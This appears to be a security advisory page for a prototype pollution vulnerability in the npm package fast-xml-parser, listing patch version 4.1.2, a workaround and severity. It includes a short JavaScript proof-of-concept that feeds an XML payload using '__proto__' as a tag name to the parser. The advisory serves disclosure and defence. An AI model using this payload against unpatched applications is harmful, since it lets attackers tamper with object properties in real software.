Advisory

GHSA-x3cc-x39p-42qx

Also known as: CVE-2021-26920, CVE-2023-26920, GHSA-793h-6f7r-6qvm

Summary

fast-xml-parser vulnerable to Prototype Pollution through tag or attribute name

Details

Impact
As a part of this vulnerability, user was able to se code using __proto__ as a tag or attribute name.

const { XMLParser, XMLBuilder, XMLValidator} = require("fast-xml-parser");

let XMLdata = "<__proto__><polluted>hacked</polluted></__proto__>"

const parser = new XMLParser();
let jObj = parser.parse(XMLdata);

console.log(jObj.polluted) // should return hacked

Patches
The problem has been patched in v4.1.2

Workarounds
User can check for "__proto__" in the XML string before parsing it to the parser.

References
https://gist.github.com/Sudistark/a5a45bd0804d522a1392cb5023aa7ef7

Severity

Medium Basis: The source's own band: MODERATE

Dates

Published
2023-06-13 12:44 UTC
Modified
2026-07-08 06:49 UTC

Affected packages and fixes

fast-xml-parser

npm · All systems

Affected

  • introduced 0, fixed 4.1.2 (semver)

Fixed versions

4.1.2

Fix

Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.

Check your own computer: guard packages check

View this record on OSV.dev

Source

Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0

Sources & licences